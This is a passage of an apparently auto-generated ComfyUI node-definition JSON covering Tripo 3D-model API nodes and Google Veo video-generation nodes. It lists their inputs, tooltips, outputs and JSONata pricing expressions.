"detailed"]}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"], "prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["image"], "optional": ["image_left", "image_back", "image_right", "model_version", "orientation", "texture", "pbr", "model_seed", "texture_seed", "texture_quality", "texture_alignment", "face_limit", "quad", "geometry_quality"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source", "prompt", "extra_pnginfo"]}, "is_input_list": false, "output": ["STRING", "MODEL_TASK_ID", "FILE_3D_GLB"], "output_is_list": [false, false, false], "output_name": ["model_file", "model task_id", "GLB"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "TripoMultiviewToModelNode", "display_name": "Tripo: Multiview to Model", "description": "", "python_module": "comfy_api_nodes.nodes_tripo", "category": "partner/3d/Tripo", "output_node": true, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model_version", "type": "COMBO"}, {"name": "texture", "type": "BOOLEAN"}, {"name": "pbr", "type": "BOOLEAN"}, {"name": "texture_quality", "type": "COMBO"}, {"name": "geometry_quality", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $isV14 := $contains(widgets.model_version,\"v1.4\");\n $isV3OrLater := $contains(widgets.model_version,\"v3.\");\n $withTexture := widgets.texture or widgets.pbr;\n $isHdTexture := (widgets.texture_quality = \"detailed\");\n $isDetailedGeometry := (widgets.geometry_quality = \"detailed\");\n $credits := $isV14 ? 30 : (\n ($withTexture ? 30 : 20)\n + ($isHdTexture ? 10 : 0)\n + (($isDetailedGeometry and $isV3OrLater) ? 20 : 0)\n );\n {\"type\":\"usd\",\"usd\": $round($credits * 0.01, 2), \"format\": {\"approximate\": true}}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "TripoP1TextToModelNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Up to 1024 characters.", "multiline": true}], "output_mode": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "\"Geometry only\" returns an untextured mesh. \"Textured\" adds color/PBR maps.", "options": [{"key": "Geometry only", "inputs": {"required": {}}}, {"key": "Textured", "inputs": {"required": {"pbr": ["BOOLEAN", {"tooltip": "Include PBR maps. When on, base texture is forced on too.", "default": true}], "texture_quality": ["COMBO", {"default": "standard", "multiselect": false, "options": ["standard", "detailed"]}], "texture_seed": ["INT", {"advanced": true, "default": 42}]}}}]}]}, "optional": {"negative_prompt": ["STRING", {"tooltip": "Up to 255 characters.", "multiline": true}], "image_seed": ["INT", {"advanced": true, "default": 42}], "face_limit": ["INT", {"tooltip": "Target face count, 48-20000. -1 lets Tripo pick adaptively.", "advanced": true, "default": -1, "min": -1, "max": 20000}], "model_seed": ["INT", {"advanced": true, "default": 42}], "auto_size": ["BOOLEAN", {"tooltip": "Scale the output to approximate real-world meters.", "advanced": true, "default": false}], "export_uv": ["BOOLEAN", {"tooltip": "UV unwrap during generation. Turn off for faster geometry-only runs.", "advanced": true, "default": true}], "compress_geometry": ["BOOLEAN", {"tooltip": "Apply geometry-based compression. Decompress before editing.", "advanced": true, "default": false}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "output_mode"], "optional": ["negative_prompt", "image_seed", "face_limit", "model_seed", "auto_size", "export_uv", "compress_geometry"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["STRING", "MODEL_TASK_ID", "FILE_3D_GLB"], "output_is_list": [false, false, false], "output_name": ["model_file", "model task_id", "GLB"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "TripoP1TextToModelNode", "display_name": "Tripo P1: Text to Model", "description": "Tripo P1 text-to-3D. Optimized for low-poly, game-ready meshes with stable topology.", "python_module": "comfy_api_nodes.nodes_tripo", "category": "partner/3d/Tripo", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "output_mode", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "output_mode.texture_quality", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "( $mode := widgets.output_mode; $detailed := $lookup(widgets, \"output_mode.texture_quality\") = \"detailed\"; $credits := $mode = \"geometry only\" ? 30 : ($detailed ? 50 : 40); {\"type\":\"usd\",\"usd\": $credits * 0.01, \"format\": {\"approximate\": true}})"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "TripoP1ImageToModelNode": {"input": {"required": {"image": ["IMAGE", {}], "output_mode": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "\"Geometry only\" returns an untextured mesh. \"Textured\" adds color/PBR maps.", "options": [{"key": "Geometry only", "inputs": {"required": {}}}, {"key": "Textured", "inputs": {"required": {"pbr": ["BOOLEAN", {"tooltip": "Include PBR maps. When on, base texture is forced on too.", "default": true}], "texture_quality": ["COMBO", {"default": "standard", "multiselect": false, "options": ["standard", "detailed"]}], "texture_alignment": ["COMBO", {"tooltip": "Prioritize visual fidelity to the source image, or alignment to the mesh geometry.", "default": "original_image", "multiselect": false, "options": ["original_image", "geometry"]}], "orientation": ["COMBO", {"tooltip": "Rotate the output to match the source image. Only applies when textured.", "default": "default", "multiselect": false, "options": ["default", "align_image"]}], "texture_seed": ["INT", {"advanced": true, "default": 42}]}}}]}]}, "optional": {"enable_image_autofix": ["BOOLEAN", {"tooltip": "Pre-process the input image for better generation quality.", "advanced": true, "default": false}], "face_limit": ["INT", {"tooltip": "Target face count, 48-20000. -1 lets Tripo pick adaptively.", "advanced": true, "default": -1, "min": -1, "max": 20000}], "model_seed": ["INT", {"advanced": true, "default": 42}], "auto_size": ["BOOLEAN", {"tooltip": "Scale the output to approximate real-world meters.", "advanced": true, "default": false}], "export_uv": ["BOOLEAN", {"tooltip": "UV unwrap during generation. Turn off for faster geometry-only runs.", "advanced": true, "default": true}], "compress_geometry": ["BOOLEAN", {"tooltip": "Apply geometry-based compression. Decompress before editing.", "advanced": true, "default": false}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["image", "output_mode"], "optional": ["enable_image_autofix", "face_limit", "model_seed", "auto_size", "export_uv", "compress_geometry"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["STRING", "MODEL_TASK_ID", "FILE_3D_GLB"], "output_is_list": [false, false, false], "output_name": ["model_file", "model task_id", "GLB"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "TripoP1ImageToModelNode", "display_name": "Tripo P1: Image to Model", "description": "Tripo P1 image-to-3D. Optimized for low-poly, game-ready meshes.", "python_module": "comfy_api_nodes.nodes_tripo", "category": "partner/3d/Tripo", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "output_mode", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "output_mode.texture_quality", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "( $mode := widgets.output_mode; $detailed := $lookup(widgets, \"output_mode.texture_quality\") = \"detailed\"; $credits := $mode = \"geometry only\" ? 40 : ($detailed ? 60 : 50); {\"type\":\"usd\",\"usd\": $credits * 0.01, \"format\": {\"approximate\": true}})"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "TripoP1MultiviewToModelNode": {"input": {"required": {"image": ["IMAGE", {"tooltip": "Front view (0\u00b0). Required."}], "output_mode": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "\"Geometry only\" returns an untextured mesh. \"Textured\" adds color/PBR maps.", "options": [{"key": "Geometry only", "inputs": {"required": {}}}, {"key": "Textured", "inputs": {"required": {"pbr": ["BOOLEAN", {"tooltip": "Include PBR maps. When on, base texture is forced on too.", "default": true}], "texture_quality": ["COMBO", {"default": "standard", "multiselect": false, "options": ["standard", "detailed"]}], "texture_alignment": ["COMBO", {"tooltip": "Prioritize visual fidelity to the source image, or alignment to the mesh geometry.", "default": "original_image", "multiselect": false, "options": ["original_image", "geometry"]}], "orientation": ["COMBO", {"tooltip": "Rotate the output to match the source image. Only applies when textured.", "default": "default", "multiselect": false, "options": ["default", "align_image"]}], "texture_seed": ["INT", {"advanced": true, "default": 42}]}}}]}]}, "optional": {"image_left": ["IMAGE", {"tooltip": "Left view (90\u00b0), i.e. the subject's left side."}], "image_back": ["IMAGE", {"tooltip": "Back view (180\u00b0)."}], "image_right": ["IMAGE", {"tooltip": "Right view (270\u00b0), i.e. the subject's right side."}], "face_limit": ["INT", {"tooltip": "Target face count, 48-20000. -1 lets Tripo pick adaptively.", "advanced": true, "default": -1, "min": -1, "max": 20000}], "model_seed": ["INT", {"advanced": true, "default": 42}], "auto_size": ["BOOLEAN", {"tooltip": "Scale the output to approximate real-world meters.", "advanced": true, "default": false}], "export_uv": ["BOOLEAN", {"tooltip": "UV unwrap during generation. Turn off for faster geometry-only runs.", "advanced": true, "default": true}], "compress_geometry": ["BOOLEAN", {"tooltip": "Apply geometry-based compression. Decompress before editing.", "advanced": true, "default": false}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["image", "output_mode"], "optional": ["image_left", "image_back", "image_right", "face_limit", "model_seed", "auto_size", "export_uv", "compress_geometry"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["STRING", "MODEL_TASK_ID", "FILE_3D_GLB"], "output_is_list": [false, false, false], "output_name": ["model_file", "model task_id", "GLB"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "TripoP1MultiviewToModelNode", "display_name": "Tripo P1: Multiview to Model", "description": "Tripo P1 multiview-to-3D from 2-4 reference images in [front, left, back, right] order. Front is required; any combination of the other three may be omitted.", "python_module": "comfy_api_nodes.nodes_tripo", "category": "partner/3d/Tripo", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "output_mode", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "output_mode.texture_quality", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "( $mode := widgets.output_mode; $detailed := $lookup(widgets, \"output_mode.texture_quality\") = \"detailed\"; $credits := $mode = \"geometry only\" ? 40 : ($detailed ? 60 : 50); {\"type\":\"usd\",\"usd\": $credits * 0.01, \"format\": {\"approximate\": true}})"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "TripoImportModelNode": {"input": {"required": {"model_3d": ["FILE_3D_GLB,FILE_3D_FBX,FILE_3D_OBJ,FILE_3D_STL,FILE_3D", {"tooltip": "3D model to import (GLB / FBX / OBJ / STL, up to 150 MB). OBJ and STL files carry no embedded textures."}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model_3d"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["MODEL_TASK_ID"], "output_is_list": [false], "output_name": ["model task_id"], "output_tooltips": [null], "output_matchtypes": null, "name": "TripoImportModelNode", "display_name": "Tripo: Import Model", "description": "Import an external 3D model (e.g. from Rodin, Hunyuan3D or a local file) into Tripo to use it with Tripo's post-processing nodes: Texture, Rig, Convert. GLB is recommended: textures survive import only when embedded in the file. Note that texturing an imported model requires a texture prompt.", "python_module": "comfy_api_nodes.nodes_tripo", "category": "partner/3d/Tripo", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"text\",\"text\":\"Free\"}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "TripoTextureNode": {"input": {"required": {"model_task_id": ["MODEL_TASK_ID", {}]}, "optional": {"texture": ["BOOLEAN", {"default": true}], "pbr": ["BOOLEAN", {"default": true}], "texture_seed": ["INT", {"advanced": true, "default": 42}], "texture_quality": ["COMBO", {"advanced": true, "default": "standard", "multiselect": false, "options": ["standard", "detailed"]}], "texture_alignment": ["COMBO", {"advanced": true, "default": "original_image", "multiselect": false, "options": ["original_image", "geometry"]}], "texture_prompt": ["STRING", {"tooltip": "Optional text guidance for texturing. Required in practice for imported models (Tripo: Import Model), which carry no source image to infer colors from.", "default": "", "multiline": true}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"], "prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["model_task_id"], "optional": ["texture", "pbr", "texture_seed", "texture_quality", "texture_alignment", "texture_prompt"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source", "prompt", "extra_pnginfo"]}, "is_input_list": false, "output": ["STRING", "MODEL_TASK_ID", "FILE_3D_GLB"], "output_is_list": [false, false, false], "output_name": ["model_file", "model task_id", "GLB"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "TripoTextureNode", "display_name": "Tripo: Texture model", "description": "", "python_module": "comfy_api_nodes.nodes_tripo", "category": "partner/3d/Tripo", "output_node": true, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "texture_quality", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $tq := widgets.texture_quality;\n {\"type\":\"usd\",\"usd\": ($contains($tq,\"detailed\") ? 0.2 : 0.1), \"format\": {\"approximate\": true}}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "TripoRefineNode": {"input": {"required": {"model_task_id": ["MODEL_TASK_ID", {"tooltip": "Must be a v1.4 Tripo model"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"], "prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["model_task_id"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source", "prompt", "extra_pnginfo"]}, "is_input_list": false, "output": ["STRING", "MODEL_TASK_ID", "FILE_3D_GLB"], "output_is_list": [false, false, false], "output_name": ["model_file", "model task_id", "GLB"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "TripoRefineNode", "display_name": "Tripo: Refine Draft model", "description": "Refine a draft model created by v1.4 Tripo models only.", "python_module": "comfy_api_nodes.nodes_tripo", "category": "partner/3d/Tripo", "output_node": true, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.3, \"format\": {\"approximate\": true}}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "TripoRigNode": {"input": {"required": {"original_model_task_id": ["MODEL_TASK_ID", {}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"], "prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["original_model_task_id"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source", "prompt", "extra_pnginfo"]}, "is_input_list": false, "output": ["STRING", "RIG_TASK_ID", "FILE_3D_GLB"], "output_is_list": [false, false, false], "output_name": ["model_file", "rig task_id", "GLB"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "TripoRigNode", "display_name": "Tripo: Rig model", "description": "", "python_module": "comfy_api_nodes.nodes_tripo", "category": "partner/3d/Tripo", "output_node": true, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.25, \"format\": {\"approximate\": true}}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "TripoRetargetNode": {"input": {"required": {"original_model_task_id": ["RIG_TASK_ID", {}], "animation": ["COMBO", {"multiselect": false, "options": ["preset:idle", "preset:walk", "preset:run", "preset:dive", "preset:climb", "preset:jump", "preset:slash", "preset:shoot", "preset:hurt", "preset:fall", "preset:turn", "preset:quadruped:walk", "preset:hexapod:walk", "preset:octopod:walk", "preset:serpentine:march", "preset:aquatic:march"]}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"], "prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["original_model_task_id", "animation"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source", "prompt", "extra_pnginfo"]}, "is_input_list": false, "output": ["STRING", "RETARGET_TASK_ID", "FILE_3D_GLB"], "output_is_list": [false, false, false], "output_name": ["model_file", "retarget task_id", "GLB"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "TripoRetargetNode", "display_name": "Tripo: Retarget rigged model", "description": "", "python_module": "comfy_api_nodes.nodes_tripo", "category": "partner/3d/Tripo", "output_node": true, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.1, \"format\": {\"approximate\": true}}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "TripoConversionNode": {"input": {"required": {"original_model_task_id": ["MODEL_TASK_ID,RIG_TASK_ID,RETARGET_TASK_ID", {}], "format": ["COMBO", {"multiselect": false, "options": ["GLTF", "USDZ", "FBX", "OBJ", "STL", "3MF"]}]}, "optional": {"quad": ["BOOLEAN", {"advanced": true, "default": false}], "face_limit": ["INT", {"advanced": true, "default": -1, "min": -1, "max": 2000000}], "texture_size": ["INT", {"advanced": true, "default": 4096, "min": 128, "max": 4096}], "texture_format": ["COMBO", {"advanced": true, "default": "JPEG", "multiselect": false, "options": ["BMP", "DPX", "HDR", "JPEG", "OPEN_EXR", "PNG", "TARGA", "TIFF", "WEBP"]}], "force_symmetry": ["BOOLEAN", {"advanced": true, "default": false}], "flatten_bottom": ["BOOLEAN", {"advanced": true, "default": false}], "flatten_bottom_threshold": ["FLOAT", {"advanced": true, "default": 0.0, "min": 0.0, "max": 1.0}], "pivot_to_center_bottom": ["BOOLEAN", {"advanced": true, "default": false}], "scale_factor": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0}], "with_animation": ["BOOLEAN", {"advanced": true, "default": false}], "pack_uv": ["BOOLEAN", {"advanced": true, "default": false}], "bake": ["BOOLEAN", {"advanced": true, "default": false}], "part_names": ["STRING", {"advanced": true, "default": "", "multiline": false}], "fbx_preset": ["COMBO", {"advanced": true, "default": "blender", "multiselect": false, "options": ["blender", "mixamo", "3dsmax"]}], "export_vertex_colors": ["BOOLEAN", {"advanced": true, "default": false}], "export_orientation": ["COMBO", {"advanced": true, "default": "default", "multiselect": false, "options": ["align_image", "default"]}], "animate_in_place": ["BOOLEAN", {"advanced": true, "default": false}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"], "prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["original_model_task_id", "format"], "optional": ["quad", "face_limit", "texture_size", "texture_format", "force_symmetry", "flatten_bottom", "flatten_bottom_threshold", "pivot_to_center_bottom", "scale_factor", "with_animation", "pack_uv", "bake", "part_names", "fbx_preset", "export_vertex_colors", "export_orientation", "animate_in_place"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source", "prompt", "extra_pnginfo"]}, "is_input_list": false, "output": [], "output_is_list": [], "output_name": [], "output_tooltips": [], "output_matchtypes": null, "name": "TripoConversionNode", "display_name": "Tripo: Convert model", "description": "", "python_module": "comfy_api_nodes.nodes_tripo", "category": "partner/3d/Tripo", "output_node": true, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "quad", "type": "BOOLEAN"}, {"name": "face_limit", "type": "INT"}, {"name": "texture_size", "type": "INT"}, {"name": "texture_format", "type": "COMBO"}, {"name": "flatten_bottom", "type": "BOOLEAN"}, {"name": "flatten_bottom_threshold", "type": "FLOAT"}, {"name": "pivot_to_center_bottom", "type": "BOOLEAN"}, {"name": "scale_factor", "type": "FLOAT"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $face := (widgets.face_limit != null) ? widgets.face_limit : -1;\n $texSize := (widgets.texture_size != null) ? widgets.texture_size : 4096;\n $flatThresh := (widgets.flatten_bottom_threshold != null) ? widgets.flatten_bottom_threshold : 0;\n $scale := (widgets.scale_factor != null) ? widgets.scale_factor : 1;\n $texFmt := (widgets.texture_format != \"\" ? widgets.texture_format : \"jpeg\");\n $advanced :=\n widgets.quad or\n widgets.flatten_bottom or\n widgets.pivot_to_center_bottom or\n ($face != -1) or\n ($texSize != 4096) or\n ($flatThresh != 0) or\n ($scale != 1) or\n ($texFmt != \"jpeg\");\n {\"type\":\"usd\",\"usd\": ($advanced ? 0.1 : 0.05), \"format\": {\"approximate\": true}}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "VeoVideoGenerationNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Text description of the video", "default": "", "multiline": true}], "aspect_ratio": ["COMBO", {"tooltip": "Aspect ratio of the output video", "default": "16:9", "multiselect": false, "options": ["16:9", "9:16"]}]}, "optional": {"negative_prompt": ["STRING", {"tooltip": "Negative text prompt to guide what to avoid in the video", "default": "", "multiline": true}], "duration_seconds": ["INT", {"tooltip": "Duration of the output video in seconds", "default": 5, "min": 5, "max": 8, "step": 1, "display": "number"}], "enhance_prompt": ["BOOLEAN", {"tooltip": "Whether to enhance the prompt with AI assistance", "advanced": true, "default": true}], "person_generation": ["COMBO", {"tooltip": "Whether to allow generating people in the video", "advanced": true, "default": "ALLOW", "multiselect": false, "options": ["ALLOW", "BLOCK"]}], "seed": ["INT", {"tooltip": "Seed for video generation (0 for random)", "default": 0, "min": 0, "max": 4294967295, "step": 1, "control_after_generate": true, "display": "number"}], "image": ["IMAGE", {"tooltip": "Optional reference image to guide video generation"}], "model": ["COMBO", {"tooltip": "Veo 2 model to use for video generation", "default": "veo-2.0-generate-001", "multiselect": false, "options": ["veo-2.0-generate-001"]}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "aspect_ratio"], "optional": ["negative_prompt", "duration_seconds", "enhance_prompt", "person_generation", "seed", "image", "model"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "VeoVideoGenerationNode", "display_name": "Google Veo 2 Video Generation", "description": "Generates videos from text prompts using Google's Veo 2 API", "python_module": "comfy_api_nodes.nodes_veo2", "category": "partner/video/Veo", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "duration_seconds", "type": "INT"}], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\": 0.5 * widgets.duration_seconds}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "Veo3VideoGenerationNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Text description of the video", "default": "", "multiline": true}], "aspect_ratio": ["COMBO", {"tooltip": "Aspect ratio of the output video", "default": "16:9", "multiselect": false, "options": ["16:9", "9:16"]}]}, "optional": {"resolution": ["COMBO", {"tooltip": "Output video resolution. 4K is not available for veo-3.1-lite and veo-3.0 models.", "default": "720p", "multiselect": false, "options": ["720p", "1080p", "4k"]}], "negative_prompt": ["STRING", {"tooltip": "Negative text prompt to guide what to avoid in the video", "default": "", "multiline": true}], "duration_seconds": ["INT", {"tooltip": "Duration of the output video in seconds", "default": 8, "min": 4, "max": 8, "step": 2, "display": "number"}], "enhance_prompt": ["BOOLEAN", {"tooltip": "This parameter is deprecated and ignored.", "advanced": true, "default": true}], "person_generation": ["COMBO", {"tooltip": "Whether to allow generating people in the video", "advanced": true, "default": "ALLOW", "multiselect": false, "options": ["ALLOW", "BLOCK"]}], "seed": ["INT", {"tooltip": "Seed for video generation (0 for random)", "default": 0, "min": 0, "max": 4294967295, "step": 1, "control_after_generate": true, "display": "number"}], "image": ["IMAGE", {"tooltip": "Optional reference image to guide video generation"}], "model": ["COMBO", {"tooltip": "Veo 3 model to use for video generation", "multiselect": false, "options": ["veo-3.1-generate", "veo-3.1-fast-generate", "veo-3.1-lite", "veo-3.0-generate-001", "veo-3.0-fast-generate-001"]}], "generate_audio": ["BOOLEAN", {"tooltip": "Generate audio for the video. Supported by all Veo 3 models.", "default": false}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "aspect_ratio"], "optional": ["resolution", "negative_prompt", "duration_seconds", "enhance_prompt", "person_generation", "seed", "image", "model", "generate_audio"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "Veo3VideoGenerationNode", "display_name": "Google Veo 3 Video Generation", "description": "Generates videos from text prompts using Google's Veo 3 API", "python_module": "comfy_api_nodes.nodes_veo2", "category": "partner/video/Veo", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMBO"}, {"name": "generate_audio", "type": "BOOLEAN"}, {"name": "resolution", "type": "COMBO"}, {"name": "duration_seconds", "type": "INT"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $m := widgets.model;\n $r := widgets.resolution;\n $a := widgets.generate_audio;\n $seconds := widgets.duration_seconds;\n $pps :=\n $contains($m, \"lite\")\n ? ($r = \"1080p\" ? ($a ? 0.08 : 0.05) : ($a ? 0.05 : 0.03))\n : $contains($m, \"3.1-fast\")\n ? ($r = \"4k\" ? ($a ? 0.30 : 0.25) : $r = \"1080p\" ? ($a ? 0.12 : 0.10) : ($a ? 0.10 : 0.08))\n : $contains($m, \"3.1-generate\")\n ? ($r = \"4k\" ? ($a ? 0.60 : 0.40) : ($a ? 0.40 : 0.20))\n : $contains($m, \"3.0-fast\")\n ? ($a ? 0.15 : 0.10)\n : ($a ? 0.40 : 0.20);\n {\"type\":\"usd\",\"usd\": $pps * $seconds}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "Veo3FirstLastFrameNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Text description of the video", "default": "", "multiline": true}], "negative_prompt": ["STRING", {"tooltip": "Negative text prompt to guide what to avoid in the video", "default": "", "multiline": true}], "resolution": ["COMBO", {"multiselect": false, "options": ["720p", "1080p", "4k"]}], "aspect_ratio": ["COMBO", {"tooltip": "Aspect ratio of the output video", "default": "16:9", "multiselect": false, "options": ["16:9", "9:16"]}], "duration": ["INT", {"tooltip": "Duration of the output video in seconds", "default": 8, "min": 4, "max": 8, "step": 2, "display": "slider"}], "seed": ["INT", {"tooltip": "Seed for video generation", "default": 0, "min": 0, "max": 4294967295, "step": 1, "control_after_generate": true, "display": "number"}], "first_frame": ["IMAGE", {"tooltip": "Start frame"}], "last_frame": ["IMAGE", {"tooltip": "End frame"}], "model": ["COMBO", {"multiselect": false, "options": ["veo-3.1-generate", "veo-3.1-fast-generate", 